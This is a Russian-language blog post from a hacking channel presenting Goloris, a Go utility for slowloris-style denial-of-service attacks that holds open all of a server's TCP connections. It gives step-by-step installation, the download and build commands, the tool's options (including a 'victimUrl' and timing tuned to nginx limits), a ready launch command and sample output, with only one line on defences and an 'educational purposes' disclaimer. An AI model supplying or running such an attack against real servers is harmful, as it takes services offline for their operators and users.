Goloris — утилита DOS атаки
Life-Hack [Жизнь-Взлом]/ХакингНа всякий случай, DoS — хакерская атака на вычислительную систему с целью довести её до отказа.
Goloris - утилита написанная на Golang для осуществления DoS атаки. Она пытается занять все доступные TCP соединения тем самым нарушив его работу.Если все пройдет удачно, то в конечном итоге никакой другой клиент не сможет подключиться к серверу. Она поддерживает https а так же требует не большое количество ресурсов памяти и процессора исходя из документации.Кому интересно так же может ознакомиться подробнее с кодом утилиты, благодаря понятному и лаконичному синтаксису Go.
Установка и использование
Если в вашей ОС отсутствует Golang, вам нужно его добавить.
Перейдите на страницу: https://golang.org/dl.
Загрузите последнюю версию в моем случае для Linux.

Откройте терминал и перейдите в папку загрузок:
cd /root/Downloads
Распакуйте файлы:
tar -C /usr/local/ -xzf go1.13.6.linux-amd64.tar.gz
Добавьте переменные для GO, изменив «~ / .bashrc»:
nano ~/.bashrc
Добавьте следующие пути в конец файла:
export GOPATH=/root/go-workspace
export GOROOT=/usr/local/go
PATH=$PATH:$GOROOT/bin/:$GOPATH/bin
Теперь нам нужно обновить bashrc, чтобы получить обновленные переменные
source ~/.bashrc
Нужно убедиться, что все настроено правильно, и мы можем сделать это, создав простую программу «Hello World» на Go.
nano helloworld.go
Добавьте следующий код в файл:
package main
import "fmt"
func main() {
fmt.Printf("Hello world!\n")
}
Затем сохраните файл и попробуйте запустить программу:
go run helloworld.go
Если все настроено правильно, вы должны увидеть сообщение Hello World.
Выполните следующие команды:
Скачиваем - go get -u -a github.com/valyala/goloris
Билдим - go build github.com/valyala/goloris
Параметры ./goloris -h :
-contentLength int
The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size (default 1000000)
-dialWorkersCount int
The number of workers simultaneously busy with opening new TCP connections (default 10)
-goMaxProcs int
The maximum number of CPUs to use. Don't touch :) (default 4)
-hostHeader string
Host header value in case it is different than the hostname in victimUrl
-rampUpInterval duration
Interval between new connections' acquisitions for a single dial worker (see dialWorkersCount) (default 1s)
-sleepInterval duration
Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout (default 10s)
-testDuration duration
Test duration (default 1h0m0s)
-victimUrl string
Victim's url. Http POST must be allowed in nginx config for this url (default "http://127.0.0.1/")
Если вы хотите оставить все параметры по умолчанию и запустить утилиту, вам достаточно будет прописать команду:
./goloris -victimUrl https://example.com
Пример работы утилиты с стандартными параметрами:
contentLength=1000000 dialWorkersCount=10 goMaxProcs=4 hostHeader= rampUpInterval=1s sleepInterval=10s testDuration=1h0m0s victimUrl=https://example.com 2020/07/15 13:24:22 Holding 1 connections 2020/07/15 13:24:22 Holding 2 connections 2020/07/15 13:24:23 Holding 3 connections 2020/07/15 13:24:23 Holding 4 connections
Один из вариантов защиты: Ограничить количество одновременных соединений TCP от одного и того же IP. Например, connlimit в iptables или http://nginx.org/en/docs/http/ngx_http_limit_conn_module.html.
С удовольствием выслушаю ваши варианты.
Так же интересно какие утилиты чаще приходилось использовать вам?
И помните что в первую очередь данная статья написана в ознакомительных целях.